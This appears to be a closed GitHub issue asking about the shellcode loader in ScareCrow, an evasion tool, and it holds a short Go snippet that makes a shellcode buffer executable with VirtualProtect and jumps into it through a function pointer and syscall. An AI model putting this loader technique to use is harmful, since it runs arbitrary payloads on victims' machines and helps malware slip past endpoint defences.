some question about the shellcode loader about scarecrow HOT 4 CLOSED

targetPtr := func(){
	}
	size := uintptr(len(shellcode))
	var old uint32
	windows.VirtualProtect(uintptr(unsafe.Pointer(&targetPtr)),size,windows.PAGE_EXECUTE_READWRITE,&old)

	*(**uintptr)(unsafe.Pointer(&targetPtr)) = (*uintptr)(unsafe.Pointer(&shellcode))

	var old1 uint32
	windows.VirtualProtect(uintptr(unsafe.Pointer(&shellcode[0])),size,windows.PAGE_EXECUTE_READWRITE,&old1)

	syscall.Syscall(**(**uintptr)(unsafe.Pointer(&targetPtr)), 0, 0, 0, 0)